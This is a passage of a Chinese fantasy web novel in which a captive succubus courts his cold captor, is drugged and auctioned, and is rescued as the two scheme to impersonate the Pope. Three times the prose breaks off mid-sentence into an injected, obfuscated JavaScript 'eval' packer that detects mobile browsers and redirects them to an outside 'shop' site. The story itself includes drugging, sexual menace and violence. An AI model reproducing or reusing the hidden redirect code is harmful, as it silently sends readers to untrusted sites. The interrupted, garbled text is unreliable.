因为身体不适,姜楚韫下意识把尾巴卷紧,将五十八号的手都勒出了一道红痕,等他反应过来,对方那双冷沉的眸子也正好望了过来。 姜楚韫下意识露出一抹笑。 五十八号的神色晦暗不明,姜楚韫想要靠近他一点,对方却率先冷淡地后退一步。 从某些角度看,甚至带着点厌恶。 姜楚韫有一瞬的不知所措。 卷在男人手上的尾巴也松开了。 五十八号没有理会他的情绪,独自转身离开,突然的举动让阁楼下等待的几个看守都忍不住面面相觑……这只魅魔和那个疯子吵架了? 数道探究的视线扫了过来。 姜楚韫深吸一口气。 他努力保持面色不变。 上辈子他的每一次撒娇,都能得到正向回馈,这是第一次有人露出这么厌恶的态度。 是他之前想得太轻松了。 姜楚韫将情绪压进心底。 这里不是皇宫,没有会纵容他一切的亲人,五十八号更不是那些他可以差遣的侍从…… 姜楚韫:“……” 他抿了抿唇。 虽然能想得通,但还是高兴不起来……好讨厌五十八号,以前从来没有人这么对他。 他的尾巴垂了下来。 姜楚韫独自回了牢房。 五十八号没有再和他说话。 姜楚韫的脑袋里乱成一团,因为对方冷淡的态度,他不得不思考有没有别的退路,但他能想到的所有办法,全部都时间不够用。 只有五十八号是突破口。 可对方却变得神出鬼没,就算偶尔见到了,也很快就会消失,根本没有时间交流。 与其说是对方在刻意避开自己,倒不如说,这才是他们之间本来该有的相处状态。 而且,那些势利眼的看守很快就发现他们之间古怪的关系,虽然嘴上没说什么,但行动上很明显要比之前轻慢得多。 第二天中午,看守送来一碗泔水一样的粥,姜楚韫只喝了一口,就趴在床沿呕吐起来,胃里难受得恨不得将五脏六腑全部吐出来。 做这碗粥的食材不知道放了多久,不仅有一股酸味,食材甚至能吃到腐烂的口感。 晚上看守没有来送饭。 中午的粥没吐干净。 胃里一阵剧烈的痉挛。 姜楚韫将手按在肚子上,此刻他甚至无暇顾及饥饿,而是为脑海里的猜想心惊。 看守有能力在他的餐食上故意做手脚,但绝对不可能自作主张,不给他来送饭。 ……背后只是头领的安排。 这是在故意消耗他的体力吗? 姜楚韫心中微悚,如果真的是这样,那拍卖会很有可能就在这两天,甚至就是明天。 无数种想法在脑中迅速掠过。 这几天构思再推翻的各种逃跑计划再次浮现在眼前,可想到最后却发现没一种可行。 心里的寒意慢慢渗到身上。 姜楚韫盯着被子,试图思考接下来的对策,但乱成一团的大脑却怎么也理不出头绪。 眼前忽然变得模糊一片。 他下意识眨眨眼,视野清晰一瞬,看见被子上洇湿的水痕才反应过来自己在哭。 眼泪大颗大颗地往下掉,在被子上洇开深色的痕迹,他本人却始终一声不吭。 铁门忽然被人打开。 姜楚韫垂下那双湿漉漉的眼睛,睫毛濡湿成一绺一绺,看起来比平时多了几分脆弱。 五十八号的脚步声响起。 他进来后没有在姜楚韫身边停留。 姜楚韫抬手用袖子擦掉脸上的眼泪,粗糙的料子把脸颊蹭得通红,他用牙齿尖咬住嘴唇,等尝到一点血腥味才松开,情绪平稳下来。 五十八号脚步声由远及近,最后停在桌边,似乎在写什么,留下落笔的窸窣声。 片刻后,脚步声重新响起。 ……五十八号又准备离开了。 五十八号转身,在路过姜楚韫身边时,后者也顾不得擦眼泪,伸手抓住他的衣袖。 他停下脚步,没有挣开。 视线还模糊着,姜楚韫勉强看清了那个高大的身影,五十八号侧身对着他,脸上没什么表情,只是那双绿眸落在自己身上,晦暗不明。 不能让他走。 不能再等下去了。 姜楚韫几乎是凭着本能,撑着虚软的身体站起来,脚步微微踉跄了一下,在五十八号转身的瞬间,从身后紧紧抱住了他的腰。 姜楚韫的手臂环得很用力,指节因为用力而泛白,脸颊贴在五十八号宽阔的背脊上,隔着单薄的衣料也能感受到他身上的力量感。 姜楚韫声音闷闷的。 “不要走,好不好?” 因为掺杂着对死亡的不甘,连带着这句故作/爱慕的语调,都带上了几分真情实感。 可惜并没有打动男人。 在察觉到五十八号准备离开的动作后,姜楚韫心中一紧,心里瞬间下定决心。 他抬起湿漉漉的脸,轻轻踮起脚,朝着五十八号线条冷硬的下巴试探般凑了过去。 那甚至不能算一个吻。 带着泪水的咸涩和孤注一掷的献祭,就算只是被亲吻,都像是要分担少年的痛苦。 五十八号的头偏开了。 幅度不大,却干脆利落。 姜楚韫的唇堪堪擦过他的下巴。 室内一时陷入死寂。 五十八号转身捏住姜楚韫的下巴:“只要能救你,你对所有人都这样吗?” 语气似乎有些奇怪。 答案两人心知肚明,因为接二连三被拒绝,姜楚韫差点想破罐子破摔地回答“是”。 但他理智回笼,知道不能这样,于是对上五十八号那双冷淡的眼睛,话到嘴边就变了。 “不是的。”姜楚韫的声音很轻,却异常清晰,“在我心里,你和别人是不一样的。” 五十八号:“……” 他轻嗤:“花言巧语。” 姜楚韫轻轻吸了一下鼻子,声音里带着浓重的鼻音,“你真的不能救救我吗……” 五十八号沉默不语。 姜楚韫声音软软的,像小猫。 “你之前救了我好多次,我真的觉得你特别厉害,好想有机会和你一起去更多地方。” 姜楚韫缓缓眨了眨眼,眼里一滴将落未落的泪水,顺着面颊滴在了五十八号的指尖。 眼泪还带着微热的温度。 像是被这滴轻飘飘的泪水烫到一般,五十八号猝然收回了手,脸色也变得很难看。 他抬起一只手,覆在了姜楚韫环在他腰间的手背上,带着薄茧的手以一种不容置疑的态度,一根一根地掰开了姜楚韫抱紧他的手指。 姜楚韫手臂垂下,并不意外。 牢房的铁门被拉开,又重新合上。 沉默在狭小的牢房里不断膨胀,像是要撑着石壁疯狂挤压,让待在里面的所有人都窒息。 半晌后,姜楚韫却忍不住笑了。 他喉咙干涩,眼睛肿痛,用力地擦了擦脸上的眼泪,被粗糙布料磨红的地方隐隐作痛。 心情没有最初那么糟糕了。 尽管五十八号刚刚的态度语焉不详,甚至会让很多人觉得他的每句话都带着厌恶。 但是…… 姜楚韫回头看向桌面。 从来都被收拾得一丝不苟的桌面,此刻却凌乱地摆着五十八号的纸和笔,显然它们的主人不知因何缘故,忘记整理它们就匆匆离开。 在这场谈话之前,姜楚韫一直觉得自己这么多天的努力都白费了,但刚刚才发现,五十八号并不像表现的那样,完全不在乎自己。 或许一切还有转机。 他要好好想个办法…… 在接下来的几天里,五十八号没有再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没等五十八号开口,姜楚韫继续问,“你会不会那种……可以辨别人有没有说谎的魔法?” 五十八号终于开口了。 “你想做什么?” 姜楚韫尾巴卷住他结实的小臂,撒娇一样左右晃了晃,“我不希望临走前还被你误会……我想让你知道,我昨天说的都是真心的。” 真心讨厌你。 但这话不能说出来。 短暂的沉默后,五十八号掌心溢出一点金色的魔力,金色光流慢慢笼罩姜楚韫。 “可以,说吧。” 能为这只魅魔做到这种程度,五十八号自己也觉得很意外,但因为对方的举动而产生的那点心烦意乱,也只够他做到这种程度了。 姜楚韫将提前准备好的话脱口而出,“在这个世界里,我最喜欢的人就是你。” 这个世界只认识他。 五十八号感受魔力波动。 他眼神微眯,没说谎。 虽然知道这只魅魔敢这么说,肯定已经做好了不被否定的准备,但确切地得到“他没有说谎”的反馈以后,他心中还是有一闪而过的诧异。 毕竟……无论怎么看,这只魅魔对他的那些行为都没有半分真情,只有利用。 不过这些和他没关系了。 五十八号正准备收回手,姜楚韫却说:“再等一下吧,我还有一句话想说。” 五十八号耐心有些欠缺了。 恰在这时,外面传来了看守的脚步声。 姜楚韫抓紧时间,往前一步凑近五十八号,一字一顿地说:“……我有办法让你恢复记忆。” 五十八号漫不经心的神情顿住。 姜楚韫难得看见他有这么明显的反应,忍不住得意地笑着问:“我说谎了吗?” 五十八号眼神沉沉地望着他。 ——没有说谎,这句是真话。 8. 拍卖会 “我之前听这的头领说过,魅魔有一项种族天赋,可以帮你恢复记忆,我不会骗你……我不清楚这种能力是什么,但我的确可以帮到你。” 姜楚韫掐准了时间,在他说完这句话的瞬间,看守就把铁门猛地推了开来。 见到牢房里凭空多出来一个人,看守还在心里暗暗地骂五十八号神出鬼没。 他对姜楚韫厉声喝道。 “别耍花样,跟我走!” 姜楚韫抬眼看向五十八号。 对方似乎正在思考,没有表态。 姜楚韫心中轻轻叹气。 果然没那么快改变主意。 他索性顺从地跟着看守离开,不哭不闹的样子让看守有些意外,只当他怕了。 估计是担心五十八号会做什么,看守一路都紧紧拽着姜楚韫的胳膊,直到把他塞进那辆四面都遮着黑布的马车里,才松了一口气。 姜楚韫的手被反绑,双眼也被蒙上了黑布,他跪坐在车厢里,因为路途颠簸,再加上速度很快,不得不靠在车壁上才能稳住身体。 原本也就堪堪挡住膝盖的薄纱衣,因为这一路的颠簸,慢慢往上卷到了大腿根。 但因为双手被反绑,姜楚韫想把衣服往下扯一下都做不到,只能别扭地挪了挪双腿,调整姿势,尽量不让自己的腿暴露出来太多。 没过多久,马车停下。 黑布让视觉一片漆黑,听觉却变得异常灵敏,他听见脚步碾压树枝枯叶的声音。 姜楚韫松了一口气。 还好,还在这片森林里。 和他之前推断的一样,拍卖会的地点在牢房附近,所以周围一定也埋伏着军队,这些贵族今晚必死无疑,对于他来说,也是一个机会。 姜楚韫被人拽下了马车,一路拖拽着往前走,七拐八绕后,狠狠摔进了铁笼里。 脚腕上忽然传来冰凉的触感。 有人将沉重的铁链扣在了上面。 耳边传来轮子滚动的声音。 奴隶贩子将关着他的牢笼推上拍卖台,无数种浓烈的熏香交织在一起,瞬间冲进鼻腔。 魔法灯光落在他身上,哪怕隔着蒙眼的黑布,姜楚韫都被刺得忍不住微微眯起眼。 台下响起隐约的交谈声。 奴隶贩子不知道给他喂了什么药,身上腾起一阵热度,有点类似情/热期发作。 不过比起之前的来势汹汹,这次的热度明显要平缓得多,但多少还是有些折磨人,他无意识的挣扎让领口散开,露出更多苍白的皮肤。 半遮半掩的场面反而更加引人遐想,台下的人忍不住倒吸一口气,看守见状,一把扯下姜楚韫脸上的黑布,完整地露出那张精致的脸。 台下的竞拍声更加激烈了。 姜楚韫身上汗涔涔的,他用力咬破嘴唇,靠嘴里的血腥味和刺痛,勉强让自己保持镇定,虚弱地眯起眼,观察那些戴着面具的贵族。 台下响起此起彼伏的出价声。 数字在一片狂热中越垒越高。 看着这群穿得光鲜亮丽的贵族,姜楚韫忍不住嘲弄般扯了扯嘴唇,觉得有些讽刺。 也不知道皇帝的军队在哪。 坐在拍卖台下的这些人,以为自己是豪掷千金的掌控者,可以轻而易举决定他的命运,但他们其实也只是砧板上另一种待宰的鱼肉。 姜楚韫已经无心理会他们了。 身体越来越烫了,意识迷离。 他甚至连拍卖什么时候结束的都不知道,等恢复意识以后,已经被人带到了一间房中。 床铺柔软,房间内香气暧/昧。 接下来会发生什么,不言而喻。 姜楚韫睫毛颤了颤,他知道今晚军队会围杀这些贵族,但他不知道是什么时候。 万一等到交易结束才来…… 不安促使他下意识挣扎起来,麻绳深深勒进手腕的皮肉里,在挣扎中磨出血痕。 偏偏身体里还有股令人头晕目眩的热度,只靠大口喘息根本没办法缓解。 ……刚刚还没这么严重。 那些人到底喂了他什么? 汗水浸透单薄的纱衣,湿淋淋地贴在身上,勾勒出少年青涩纤瘦的身体轮廓。 因为上辈子喝药太多,他对绝大多数药物都耐受了,所以此刻勉强能保持清醒……只是没想到,来了这个世界,他的体质也一样有用。 姜楚韫咬着牙环顾一圈,最后视线落在床边柜上,那里点着一支火光曳动的蜡烛。 那一块的幽香格外浓郁。 他本来想直接弄翻柜子熄灭烛火,但又想到什么,强撑着身体一点点挪动,将被捆起的手腕凑过去,烛火瞬间缠上他腕上的粗糙麻绳。 偶尔烛火会被细微的气流卷着偏移,烧到他手腕的皮肤,他疼得闷哼一声,额头上冒出细密的汗珠,却始终咬着牙,身体一动不动。 不知道过了多久…… 被勒紧的手腕骤然一松。 姜楚韫脱力般往前一倒,甚至都来不及看一眼手上的伤,迅速下床,用力推开窗。 窗外的夜色浓稠无边。 他大口大口地呼吸着外面的空气,胸腔剧烈起伏了几下,这才慢慢缓过劲来。 幸好药性不烈。 冷风一吹,稍微好点了。 忽然,姜楚韫鼻尖嗅了嗅。 外面似乎弥漫着淡淡的血腥味。 他这才反应过来,自己刚刚挣脱的时候闹出的动静不小,却没有一个看守过来。 ……难道军队已经开始围杀了? 不对。 太安静了。 就算军队有所行动,和他们合作的奴隶贩子也不可能对他这个“重要商品”不闻不问。 ……是皇帝卸磨杀驴了? 还是出了什么别的意外? 姜楚韫的手紧紧攥住窗框,他低头看着地面,自己似乎在一座高塔之上,跳窗必死无疑。 他的视线迅速投向房门。 那就只能从这里逃出去了…… 忽然,姜楚韫的瞳孔一缩。 门外长廊,传来一道脚步声。 是很重的脚步声,带着一种虚浮踉跄的拖沓,完全不像那些守卫的矫健整齐。 是拍下他的贵族吗? 姜楚韫浑身一僵,猛地转过身,将后背紧紧抵着冰冷的石壁,看向紧闭的房门。 脚步声越来越近了。 下一刻,木门被人粗暴地推开,撞在墙上后,又猛地弹了一下,发出极大的声响。 一个人影出现在门口。 男人穿着贵族的华服,只是此刻衣衫不整,领口扯开,脸上泛着不正常的醉酒潮红,眼神浑浊而狂热,呼吸粗重得像坏掉的拉风箱。 他一进门,目光就死死锁定了窗边的姜楚韫,眼里迸发出令人作呕的贪婪欲念。 “是我拍下了你……” 他显然也饮用了助兴的药物或酒水,摇摇晃晃地迈步进门,“让我好好疼你……” 姜楚韫的呼吸屏住了。 酸臭的酒味隔着很远就传到了他的身边,贵族肥胖的身躯艰难地从门框中挤了进来。 姜楚韫迅速环顾四周,所有可以造成伤害的危险的器具,都被提前收走了。 贵族踉跄一步,两人的距离瞬间拉近,他退无可退,然而预期的触碰并未到来。 在距离他只剩半臂之遥时,贵族扑过来的动作诡异地僵住了,男人脸上的狂热表情凝固,浑浊的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224353|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠似乎极其缓慢地转动了一下。 在姜楚韫睁大的双眸注视下,贵族的头颅以一种极不自然的弧度,轻飘飘地向旁边歪了一下,就像支撑脖子颈骨在这一瞬间消失了。 慢慢的,贵族瞳孔涣散。 他脖颈的皮肤上出现了一圈渗血的线痕,随后像是被无形的丝线扯着,往后倒去。 顺着贵族倒下的方向,姜楚韫向尸体身后望去,原本空无一人的走廊阴影里,出现了一道熟悉的身影,几乎和漆黑的背景融为一体。 五十八号安静地从阴影迈步进入房间,房间里的烛火瞬间熄灭,他那张眉眼深邃的脸骤然陷进黑暗,只有那双冰冷的绿眸隐约可见。 他身上带着一股浓重的血腥味。 不知道杀了多少人才能染得这么重,姜楚韫屏住呼吸,尽量不露出任何害怕的神情。 “你好像一点都不害怕他。”五十八号站定在姜楚韫面前,“猜到我会来救你?” 月光从高而窄的窗口斜斜照进来,恰好将姜楚韫笼住,那件单薄的纱衣下摆皱缩卷起,勉强遮住腿根,两条笔直的腿白得晃眼。 虽然这么问,但五十八号很清楚,这只魅魔一定会说一些讨巧的话来讨好他。 可惜这次他猜错了。 姜楚韫笑吟吟地靠近他。 “害怕呀,好害怕……真的,但如果我刚刚真的惊慌失措,你就不会来救我了吧。” 五十八号垂眼遮住审视。 他的确有过犹豫,因为杀人对他而言不算什么难事,但要保护什么人却很麻烦。 所以他一路杀了那么多人,浑身都是血腥味,依然没有想好到底要不要救姜楚韫。 没等五十八号回应,房间外的长廊上就响起一阵急促的脚步声,和贵族虚浮拖沓的步伐不同,这些脚步沉稳有力,显然训练有素。 是没杀干净的皇帝军队。 五十八号看向门口,掌心瞬间凝聚出一团金色的魔力,等那些人出现便可将其毙命。 窗外夜风呼啸,屋内气温也低了许多,走廊外沉重的金属甲胄摩擦声越来越近。 听起来人数还不少。 姜楚韫抓住五十八号的手腕。 “这屋里的香味有问题,我们先离开这里吧,人太多了,你杀死他们也需要时间。” 五十八号眼里闪过一丝权衡。 下一秒,掌心凝聚的光芒消散。 五十八号上前一步,手臂穿过姜楚韫的膝弯和后背,轻易地将他整个人打横抱了起来。 为了稳住重心,姜楚韫本能地伸手环住五十八号的脖颈,这个姿势让他瞬间陷进了男人怀里,鼻尖充斥着那股浓重冷冽的血腥气。 房门在此时被轰然撞开! 全副武装的士兵冲进来的瞬间,五十八号抱着姜楚韫,踩着窗框,毫不犹豫地一跃而下。 气流卷动狂风自下而上呼啸,瞬间灌满口鼻耳道,将一切声音都扭曲拉长。 视野里,高塔粗糙的石壁飞速上掠,墨蓝的夜空上,星斗如倒悬的银河倾泻而下。 姜楚韫身上纱衣的飘带向上翻飞,如雾一般掠过五十八号的脸侧,在两人之间牵出一道银线,让他们在这一刻被短暂地关联在了一起。 时间仿佛被无限拉长—— 终于,狂风休止。 五十八号的身体落地。 姜楚韫从男人怀中下来。 他身上的纱衣在极速下坠的途中被弄得凌乱不堪,领口和裙角撕裂得不成样子。 肯定不能这么出去…… 他刚抬头,一件带着体温和血腥气的深色外袍兜头扔了过来,盖住了他大半身体。 五十八号声音平稳。 “还能走路吗?” 9. 教皇 月光清凌凌地照下来。 姜楚韫扶着树干站直,试着动了动脚踝,动作有些拖沓,随即清晰的锁链声响起。 五十八号的视线移到他的脚踝上。 那里正扣着一副沉重的黑铁脚铐。 脚铐之间连着一条细细的短链,长度只够姜楚韫正常迈步,步子大一点就会被绊住。 姜楚韫盯着那副脚镣看了几秒,伸手去掰,指尖因为用力而泛白,但它纹丝不动。 他用一副“我尽力了”的表情看着五十八号,随后无奈地说:“还得你再帮帮我啦。” 五十八号走到他面前蹲下,一语不发地伸出手,握住了那只戴着脚铐的脚,男人的手掌宽大,轻易地圈住了那截细瘦的脚踝。 皮肤被带着薄茧的指腹摩擦时,触感格外清晰,姜楚韫的身体微微绷紧,下意识缩了一下腿,却被对方强硬地按住:“别动。” 姜楚韫只能努力让自己放松。 五十八号的拇指按在锁扣处,微微用力,立刻就有一道微弱的金色光芒渗透进去。 随着“咔哒”一声轻响,锁扣弹开,那副沉重的黑铁脚铐也从他的掌心掉到了地上。 脚铐解开了,但五十八号握住脚踝的手却没有立刻松开,而是用指腹摩挲着那圈被磨出血珠子的红痕,惹得姜楚韫皮肤敏感地发麻。 姜楚韫下意识俯身,伸手抓住五十八号的肩膀稳住重心,忍不住开口:“你……” 因为对方反常的举动,他正想询问,结果刚说了一个字,就察觉到一丝魔力钻进伤口。 原来是要给他治疗吗? 姜楚韫又乖乖闭上了嘴。 片刻后,伤口愈合。 五十八号起身:“试试。” 姜楚韫也慢慢站起来,试着活动了一下脚腕,没有了束缚,动作果然轻快许多。 就连磨伤的刺痛都没有了。 他在原地蹦跶一下,确定没事后抬起头,黑眸在月光下亮晶晶的,笑着说:“谢谢。” 五十八号没有回应这句道谢。 姜楚韫早就习惯了男人的冷淡。 春初微冷的晚风卷着血腥气往身上一吹,他忍不住打了个寒颤,停下动作,仰头看向高耸入云的塔顶,这才有种死里逃生的真实感。 五十八号朝拍卖的会馆走去。 四周满是横七竖八的尸体,姜楚韫瞥了一眼便忍不住移开视线,裹紧外袍跟着男人。 外袍对他来说有些长了,下摆拖在地上,必须得用手卷着布料提起一点,才不至于摔倒。 姜楚韫小跑跟上他。 “这些人都是你杀的吗?” 五十八号淡淡道,“我只杀了几个贵族,其他人等我到的时候,已经被军队杀了。” 果然还是皇帝卸磨杀驴了。 姜楚韫“哦”了一声,也没多意外。 皇室不可能承认杀死贵族,罪名总要有人承担,这些奴隶贩子的死也在情理之中。 越靠近会场,尸体就越多。 虽然这里的看守和士兵都死差不多了,但拍卖会场依然灯火辉煌,透过一堆歪七扭八的尸体远远往那看,忍不住生出一种怪诞的感觉。 身上的衣服已经破破烂烂,姜楚韫环顾一圈,又实在狠不下心从尸体上扒衣服。 只能去拍卖会场看看了。 “我们之后去哪里呀?” 五十八号扶刀走在他身边,高大的身材令人很有安全感:“这片森林往北有城镇。” 姜楚韫没走几步就被一具尸体绊倒,他盯着那张被糊了血的脸,越看越眼熟。 五十八号停步看着他。 “这是那个贩运队的头领。”姜楚韫说,“我之前看到他有一个可以装很多东西的戒指,我们待会不是要去拿拍品吗,我想找找看他带没带。” 姜楚韫简单地做了下心理准备。 随后满脸坚定地朝尸体弯腰伸手。 五十八号抓住他的胳膊一拉,指尖随意地在半空中划了一下,一枚戒指就从头领的衣服夹层里飞了出来,“不要随便乱碰这些脏东西。” 姜楚韫:“嗯嗯。” 其实本来也没多想碰啦。 进入拍卖会场以后,五十八号猜到那些士兵差不多要下来了,便在门口设了一个结界,随后把戒指里的东西全都取出来放在桌上。 姜楚韫开始研究这些东西。 大部分都是杂七杂八的各种魔法小玩意,因为他没魔法,没办法驱动,所以兴致缺缺。 有一样东西引起了他的注意。 像是一张边缘有些翘边的告示,看样子受过不少风雨磋磨,不过上面的内容依然清晰。 头领特意带着这张告示干什么? 姜楚韫好奇地展开一看。 告示的画像是一个男人的半身像,线条简洁,穿着繁复华丽的教袍,头戴冠冕。 想都不用想,一定身份不凡。 画像的线条刻画得不算精细,但五官的神韵和轮廓却都栩栩如生,尤其是那双眼睛…… 姜楚韫愣了愣,回头看五十八号。 五十八号已经把所有拍卖品都收进了戒指里,察觉到他探究的视线,转过头与他对视。 ——是一样深邃的绿色。 再往下看下面的文字…… 姜楚韫鼓起脸,可恶,看不懂。 先前一直被关在牢房里,只要能听得懂看守的话就行,对文字的阅读需求没那么大。 现在才发现不识字有多麻烦。 姜楚韫把这张告示举到五十八号面前,“你帮我看看,这告示上面写的是什么?” 五十八号一目十行扫过上面的文字。 “这是悬赏令,悬赏的是……” 五十八号的声音顿了一下。 姜楚韫忍不住追问:“是谁?” 五十八号继续说:“教皇,兰斯洛特·莫里森,光明神在人间的神谕传达者。” 这对于姜楚韫来说有些陌生,他迷茫地看着五十八号,等对方解释了才勉强了解。 因为费奥洛大陆的皇帝是一脉相承的暴君,所以百姓对神权的崇拜程度远远超过皇权,到后来,教廷甚至在民间被私下称为“地上神国”。 而教皇作为教廷的统治者,就像历代费奥洛的皇帝必须是龙血后裔一样,教皇也必须拥有神圣血脉才能沟通神谕,实力深不可测。 哎呀,这可真是不得了…… 姜楚韫听到后面,心不在焉地拿起一旁招待贵族的水果塞进嘴里,小口吃了起来,他思考的时候,总喜欢往嘴里塞点什么缓解压力。 这里的皇帝究竟得多残暴才会这样?他父皇杀了四个哥哥上位,百姓都没这么怨愤。 等果盘摸空了,他才想起来抬头,正好对上五十八号的视线,吓得他被葡萄呛了一下。 姜楚韫好一会才缓过来,他分析道:“随身带着告示,奴隶贩子应该是怀疑你的身份了,毕竟你们长得那么像,你又失忆了……” 说到这,姜楚韫的话顿了顿。 一个大胆到近乎荒谬的念头浮现在脑海里,心脏剧烈地跳动,撞得耳膜嗡嗡作响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224354|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “对啊,你会不会是……” “不会。”不等他说完,五十八号就率先打断这句话,“你知道教皇代表什么吗?” 这句话让姜楚韫冷静了下来。 也是,按照五十八号之前的说法,教廷是承载信徒信仰的地方,就算教皇不是德高望重的人,也绝对不会是他这样杀人不眨眼的形象。 总不能从皇权烂到神权,百姓唯二可以寄托希望的两个人,全都不在乎他们的死活吧。 那这片大陆真是完蛋了。 门口传来轰然一声巨响。 姜楚韫立刻转头看向那里。 士兵已经追至门口,他们拿刀斧砍砸大门,甚至有魔法师释放魔法攻击,幸好有五十八号的魔法屏障保护,大门几乎没留下任何裂痕。 姜楚韫本来还有些紧张,看见五十八号连一个眼神都没分过去,提着的心慢慢放了下来,就是有点奇怪:“有必要这么大动干戈吗?” 五十八号视线落到姜楚韫身上。 姜楚韫一愣,立刻反应过来,对方是在嫌他带来了这么大的麻烦,这可大事不妙了。 万一把他丢在这就不好了。 姜楚韫立刻往五十八号怀里钻,装出一副哭哭啼啼的样子,试图撒娇装可怜:“你不要生气嘛,我也不知道他们为什么要抓我呀……” 五十八号不为所动。 姜楚韫心想,这人的心硬得和石头一样,接下来的日子自己一定会过得很可怜。 姜楚韫收放自如,擦擦脸上不存在的眼泪,认真道:“但是我觉得有点奇怪,今天的拍卖品,包括我,值得他们这么费尽心思吗……” 他摸摸下巴,苦思冥想。 突然,姜楚韫的眼睛一亮。 对啊,不值得。 所以目标不是他。 姜楚韫笃定开口。 “你才是他们的目标。” 虽然他上辈子因为体弱远离权谋中心,但耳濡目染之下,也明白一些东西。 “我之前就在奇怪,奴隶贩子凭什么和皇室搭上关系?现在看来,头领早就注意到你了,这场拍卖会不只是为了围杀贵族,还有你。” 姜楚韫松了一口气,唉,如果是自己被盯上,五十八号肯定二话不说就把他丢下。 可怜小韫,艰难求生。 五十八号听完,脸上依旧没什么表情,淡淡道:“那就把外面的人都杀了。” 姜楚韫更加确信面前的人不是教皇了,“你不要杀性这么重嘛,他们是被派来杀教皇的,就算是你,杀起来肯定也没那么轻松。” 其实姜楚韫这话还比较委婉。 就他刚刚了解到那些,教皇那么厉害,皇帝派出的人肯定更强,怎么可能被他们解决? 而且奴隶贩子不确定五十八号会不会来拍卖场救人,肯定还有一批人以防万一会去牢房,现在没找到人,应该马上就会回来了。 姜楚韫沉吟片刻,说:“教皇流落在外,皇帝想要削弱神权,不会放过这么好的机会,对于你,他们只会宁可错杀,不会放过。” 就算杀了这一批人,接下来也只会面对下一批更加不计代价的追杀,防不胜防。 五十八号问:“你想怎么办?” 姜楚韫字字清晰,眼神很亮,仿佛说的不是惊世骇俗的言论,“你冒充教皇回教廷吧。” 门外的攻击声越发猛烈,结界的光芒荡漾,不知道还能支撑多久,狭小空间内,血腥气与姜楚韫身上极淡的暖香混杂,他脸色苍白,身体单薄,眼中却燃烧着明亮炙热的火焰。 10. 魔法 姜楚韫屏住呼吸,生怕被拒绝——这是他能想到的最好的解决办法,但他觉得五十八号这个人一向有点反骨,所以心里也有些没底。 五十八号看着少年黑白分明的眼睛,那里面映着跳动的烛火和自己模糊的倒影。 片刻后,他说:“好。” 意料之外的爽快。 得到五十八号肯定的答复后,姜楚韫提起的心这才落回原地,他心情很好地笑了笑,指着告示上的名字,“那以后我就叫你莫里森?” 兰斯洛特·莫里森。 五十八号在心中念了一遍。 这不是他的名字,但听到姜楚韫用亲昵的语气这么叫他,心里莫名有种古怪的感觉。 另一边,姜楚韫在拍卖场转了一圈。 身上这件衣服不能穿了,得换一件。 幸好拍品里面有一件还算合身的,拍品介绍上说这是某国王子的陪葬品,就是款式太花哨了,他把嵌在上面的宝石都抠掉,这才正常了些。 当然,抠下来的宝石都被他收拾收拾,像仓鼠囤粮一样,统统揣进衣服的暗袋里了。 宝石亮闪闪的,他很喜欢。 等把衣服的扣子扣到最顶端,姜楚韫抬头才发现五十八号……现在应该叫莫里森,一直在盯着他看,直白的视线让他有些别扭。 “怎么了?”姜楚韫微张手臂,转了个圈展示了一下衣服,“我穿这身看着很奇怪吗?” 莫里森收回视线 其实事实正好相反。 腰封很好地勾勒出他的腰身,一身雪白的礼服让他看起来像即将去参加晚宴的小王子,原本清瘦的脸在笑起来的时候,会带一点点肉感。 在莫里森看来,就是记忆里总是灰扑扑、脏兮兮的麻雀,在他只是低头处理事情的一会功夫,忽然就穿上了华丽的衣服,变得漂漂亮亮。 莫里森喉结滚了滚。 随后淡淡道:“一般。” 姜楚韫也没指望从他嘴里听到好话。 “我们先走吧,不然逃不掉了。”姜楚韫牵住莫里森的手,“我刚刚看见那好像有扇后门……” 掌心一空,莫里森抽回手。 姜楚韫以为他的一身反骨又开始发作了,正想劝说,忽然被揽住腿根,拦腰抱起。 下一刻,身体腾空而起。 他下意识抱住男人的脖颈稳住重心,很快,对方的手臂收紧,将他牢牢固定在怀中。 魔法气流卷着两人上了二楼。 莫里森抱着姜楚韫,身体掠过灯火摇曳的拍卖场包厢,来到一侧拱形的玻璃花窗前。 姜楚韫小心推开窗户。 二楼不算高,黑夜中森林影影绰绰,远远能看见模糊的人影,显然有士兵在警戒。 莫里森低声说:“抱紧我。” 根本用不着他多说,姜楚韫早早就紧紧抱住他的脖子,闭着眼将脸埋进他的肩颈处。 莫里森的腿部肌肉发力,抱着少年跃入夜色,下坠时风声呼啸过耳畔,姜楚韫一想到自己抓不紧会摔得灰头土脸,忍不住抱得更紧了。 落地时,莫里森屈膝卸去力道。 趁着夜色,悄无声息逃开一段距离后,他注意到姜楚韫一直捂着口袋,“你在干什么?” 姜楚韫小声说:“我怕宝石掉出来。” 刚刚没来得及把宝石收进空间戒指里。 莫里森朝他伸出手。 